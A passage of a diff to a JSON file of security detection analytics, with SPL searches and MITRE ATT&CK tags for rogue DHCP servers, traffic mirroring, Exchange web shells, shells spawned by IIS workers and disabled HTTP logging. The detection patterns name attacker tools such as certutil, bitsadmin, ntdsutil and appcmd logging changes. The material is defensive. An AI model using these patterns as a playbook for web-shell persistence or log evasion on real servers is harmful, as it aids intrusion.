src_interface | table host src_interface dest_interface src_mac src_ip dest_ip src_vlan mnemonic vendor_explanation action count | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `detect_ipv6_network_infrastructure_threats_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } - }, - { - "name": "Detect Port Security Violation", - "description": "The following analytic detects port security violations on Cisco switches. It leverages logs from Cisco network devices, specifically looking for events with mnemonics indicating port security violations. This activity is significant because it indicates an unauthorized device attempting to connect to a secured port, potentially bypassing network access controls. If confirmed malicious, this could allow an attacker to gain unauthorized access to the network, leading to data exfiltration, network disruption, or further lateral movement within the environment.", - "search": "`cisco_networks` (facility=\"PM\" mnemonic=\"ERR_DISABLE\" disable_cause=\"psecure-violation\") OR (facility=\"PORT_SECURITY\" mnemonic=\"PSECURE_VIOLATION\" OR mnemonic=\"PSECURE_VIOLATION_VLAN\") | eval src_interface=src_int_prefix_long+src_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime values(disable_cause) AS disable_cause values(src_mac) AS src_mac values(src_vlan) AS src_vlan values(action) AS action count by host src_interface | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_port_security_violation_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } - }, - { - "name": "Detect Rogue DHCP Server", - "description": "The following analytic identifies the presence of unauthorized DHCP servers on the network. It leverages logs from Cisco network devices with DHCP Snooping enabled, specifically looking for events where DHCP leases are issued from untrusted ports. This activity is significant because rogue DHCP servers can facilitate Man-in-the-Middle attacks, leading to potential data interception and network disruption. If confirmed malicious, this could allow attackers to redirect network traffic, capture sensitive information, and compromise the integrity of the network.", - "search": "`cisco_networks` facility=\"DHCP_SNOOPING\" mnemonic=\"DHCP_SNOOPING_UNTRUSTED_PORT\" | stats min(_time) AS firstTime max(_time) AS lastTime count values(message_type) AS message_type values(src_mac) AS src_mac BY host | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)`| `detect_rogue_dhcp_server_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - } - ] - } - }, - { - "name": "Detect Traffic Mirroring", - "description": "The following analytic detects the initiation of traffic mirroring sessions on Cisco network devices. It leverages logs with specific mnemonics and facilities related to traffic mirroring, such as \"ETH_SPAN_SESSION_UP\" and \"PKTCAP_START.\" This activity is significant because adversaries may use traffic mirroring to exfiltrate data by duplicating and forwarding network traffic to an external destination. If confirmed malicious, this could allow attackers to capture sensitive information, monitor network communications, and potentially compromise the integrity and confidentiality of the network.", - "search": "`cisco_networks` (facility=\"MIRROR\" mnemonic=\"ETH_SPAN_SESSION_UP\") OR (facility=\"SPAN\" mnemonic=\"SESSION_UP\") OR (facility=\"SPAN\" mnemonic=\"PKTCAP_START\") OR (mnemonic=\"CFGLOG_LOGGEDCMD\" command=\"monitor session*\") | stats min(_time) AS firstTime max(_time) AS lastTime count BY host facility mnemonic | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | `detect_traffic_mirroring_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1020", - "mitre_attack_technique": "Automated Exfiltration", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "Gamaredon Group", - "Ke3chang", - "Sidewinder", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1020.001", - "mitre_attack_technique": "Traffic Duplication", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [] - } - ] - } - } + ] ], "external_reference": [ "https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/", @@ -634580,1672 +428436,6 @@ "references": [ "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" ] - }, - { - "name": "Detect Exchange Web Shell", - "description": "The following analytic identifies the creation of suspicious .aspx files in known drop locations for Exchange exploitation, specifically targeting paths associated with HAFNIUM group and vulnerabilities like ProxyShell and ProxyNotShell. It leverages data from the Endpoint datamodel, focusing on process and filesystem events. This activity is significant as it may indicate a web shell deployment, a common method for persistent access and remote code execution. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary commands, and potentially escalate privileges within the Exchange environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=System by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\HttpProxy\\\\owa\\\\auth\\\\*\", \"*\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\*\", \"*\\\\HttpProxy\\\\OAB\\\\*\") Filesystem.file_name IN( \"*.aspx\", \"*.ashx\") by _time span=1h Filesystem.user Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest user file_create_time file_name file_path process_name process_path process] | dedup file_create_time | table dest user file_create_time, file_name, file_path, process_name | `detect_exchange_web_shell_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-257A", - "HAFNIUM Group", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to IIS exploitation previously performed by HAFNIUM. Review further file modifications on endpoint $dest$ by user $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect Webshell Exploit Behavior", - "description": "The following analytic identifies the execution of suspicious processes typically associated with webshell activity on web servers. It detects when processes like `cmd.exe`, `powershell.exe`, or `bash.exe` are spawned by web server processes such as `w3wp.exe` or `nginx.exe`. This behavior is significant as it may indicate an adversary exploiting a web application vulnerability to install a webshell, providing persistent access and command execution capabilities. If confirmed malicious, this activity could allow attackers to maintain control over the compromised server, execute arbitrary commands, and potentially escalate privileges or exfiltrate sensitive data.", - "search": "| tstats `security_content_summariesonly` count max(_time) as lastTime, min(_time) as firstTime from datamodel=Endpoint.Processes where (Processes.process_name IN (\"arp.exe\",\"at.exe\",\"bash.exe\",\"bitsadmin.exe\",\"certutil.exe\",\"cmd.exe\",\"cscript.exe\", \"dsget.exe\",\"dsquery.exe\",\"find.exe\",\"findstr.exe\",\"fsutil.exe\",\"hostname.exe\",\"ipconfig.exe\",\"ksh.exe\",\"nbstat.exe\", \"net.exe\",\"net1.exe\",\"netdom.exe\",\"netsh.exe\",\"netstat.exe\",\"nltest.exe\",\"nslookup.exe\",\"ntdsutil.exe\",\"pathping.exe\", \"ping.exe\",\"powershell.exe\",\"pwsh.exe\",\"qprocess.exe\",\"query.exe\",\"qwinsta.exe\",\"reg.exe\",\"rundll32.exe\",\"sc.exe\", \"scrcons.exe\",\"schtasks.exe\",\"sh.exe\",\"systeminfo.exe\",\"tasklist.exe\",\"tracert.exe\",\"ver.exe\",\"vssadmin.exe\", \"wevtutil.exe\",\"whoami.exe\",\"wmic.exe\",\"wscript.exe\",\"wusa.exe\",\"zsh.exe\") AND Processes.parent_process_name IN (\"w3wp.exe\", \"http*.exe\", \"nginx*.exe\", \"php*.exe\", \"php-cgi*.exe\",\"tomcat*.exe\")) by Processes.dest,Processes.user,Processes.parent_process,Processes.parent_process_name,Processes.process,Processes.process_name | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_webshell_exploit_behavior_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-257A", - "CISA AA22-264A", - "Citrix ShareFile RCE CVE-2023-24489", - "Flax Typhoon", - "HAFNIUM Group", - "ProxyNotShell", - "ProxyShell", - "SysAid On-Prem Software CVE-2023-47246 Vulnerability", - "WS FTP Server Critical Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Webshell Exploit Behavior - $parent_process_name$ spawned $process_name$ on $dest$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "MS Exchange Mailbox Replication service writing Active Server Pages", - "description": "The following analytic identifies the creation of suspicious .aspx files in specific directories associated with Exchange exploitation by the HAFNIUM group and the ProxyShell vulnerability. It detects this activity by monitoring the MSExchangeMailboxReplication.exe process, which typically does not write .aspx files. This behavior is significant as it may indicate an active exploitation attempt on Exchange servers. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, or maintain persistence within the environment. Immediate investigation and remediation are crucial to prevent further compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=MSExchangeMailboxReplication.exe by _time span=1h Processes.process_id Processes.process_name Processes.process_guid Processes.dest | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\HttpProxy\\\\owa\\\\auth\\\\*\", \"*\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\*\", \"*\\\\HttpProxy\\\\OAB\\\\*\") Filesystem.file_name=\"*.aspx\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest file_create_time file_name file_path process_name process_path process process_guid] | dedup file_create_time | table dest file_create_time, file_name, file_path, process_name | `ms_exchange_mailbox_replication_service_writing_active_server_pages_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyShell", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to IIS exploitation related to ProxyShell. Review further file modifications on endpoint $dest$ by user $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "W3WP Spawning Shell", - "description": "The following analytic identifies instances where a shell (PowerShell.exe or Cmd.exe) is spawned from W3WP.exe, the IIS worker process. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is W3WP.exe. This activity is significant as it may indicate webshell activity, often associated with exploitation attempts like those by the HAFNIUM Group on Exchange servers. If confirmed malicious, this behavior could allow attackers to execute arbitrary commands, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=w3wp.exe AND `process_cmd` OR `process_powershell` by Processes.dest Processes.parent_process Processes.original_file_name Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `w3wp_spawning_shell_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-257A", - "CISA AA22-264A", - "Data Destruction", - "Flax Typhoon", - "HAFNIUM Group", - "Hermetic Wiper", - "ProxyNotShell", - "ProxyShell", - "WS FTP Server Critical Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible Web Shell execution on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Windows Disable Windows Event Logging Disable HTTP Logging", - "description": "The following analytic detects the use of AppCmd.exe to disable HTTP logging on IIS servers. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution events where AppCmd.exe is used with specific parameters to alter logging settings. This activity is significant because disabling HTTP logging can help adversaries hide their tracks and avoid detection by removing evidence of their actions. If confirmed malicious, this could allow attackers to operate undetected, making it difficult to trace their activities and respond to the intrusion effectively.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where NOT (Processes.parent_process_name IN (\"msiexec.exe\", \"iissetup.exe\")) Processes.process_name=appcmd.exe Processes.process IN (\"*set config*\", \"*httplogging*\",\"*dontlog:true*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_windows_event_logging_disable_http_logging_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "IIS Components", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to disable IIS HTTP Logging.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.002", - "mitre_attack_technique": "Disable Windows Event Logging", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows IIS Components Add New Module", - "description": "The following analytic detects the execution of AppCmd.exe to install a new module in IIS. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as adversaries may use it to install webshells or backdoors, leading to credit card scraping, persistence, and further post-exploitation. If confirmed malicious, this could allow attackers to maintain persistent access, execute arbitrary code, and potentially exfiltrate sensitive information from the compromised web server.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where NOT (Processes.parent_process_name IN (\"msiexec.exe\", \"iissetup.exe\")) Processes.process_name=appcmd.exe Processes.process IN (\"*install *\", \"*module *\") AND Processes.process=\"*image*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iis_components_add_new_module_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to install a new IIS module.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows IIS Components Get-WebGlobalModule Module Query", - "description": "The following analytic identifies the execution of the PowerShell cmdlet Get-WebGlobalModule, which lists all IIS Modules installed on a system. It leverages PowerShell input data to detect this activity by capturing the module names and the image paths of the DLLs. This activity is significant for a SOC because it can indicate an attempt to enumerate installed IIS modules, which could be a precursor to exploiting vulnerabilities or misconfigurations. If confirmed malicious, this could allow an attacker to gain insights into the web server's configuration, potentially leading to further exploitation or privilege escalation.", - "search": "`iis_get_webglobalmodule` | stats count min(_time) as firstTime max(_time) as lastTime by host name image | rename host as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iis_components_get_webglobalmodule_module_query_filter`", - "tags": { - "analytic_story": [ - "IIS Components", - "WS FTP Server Critical Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "IIS Modules have been listed on $dest$.", - "risk_score": 1, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows IIS Components Module Failed to Load", - "description": "The following analytic detects when an IIS Module DLL fails to load due to a configuration problem, identified by EventCode 2282. This detection leverages Windows Application event logs to identify repeated failures in loading IIS modules. Such failures can indicate misconfigurations or potential tampering with IIS components. If confirmed malicious, this activity could lead to service disruptions or provide an attacker with opportunities to exploit vulnerabilities within the IIS environment. Immediate investigation is required to determine the legitimacy of the failing module and to mitigate any potential security risks.", - "search": "`wineventlog_application` EventCode=2282 | stats count min(_time) as firstTime max(_time) as lastTime by EventCode dest Name ModuleDll | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iis_components_module_failed_to_load_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A new IIS Module has been loaded and should be reviewed on $dest$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows IIS Components New Module Added", - "description": "The following analytic detects the addition of new IIS modules on a Windows IIS server. It leverages the Windows Event log - Microsoft-IIS-Configuration/Operational, specifically EventCode 29, to identify this activity. This behavior is significant 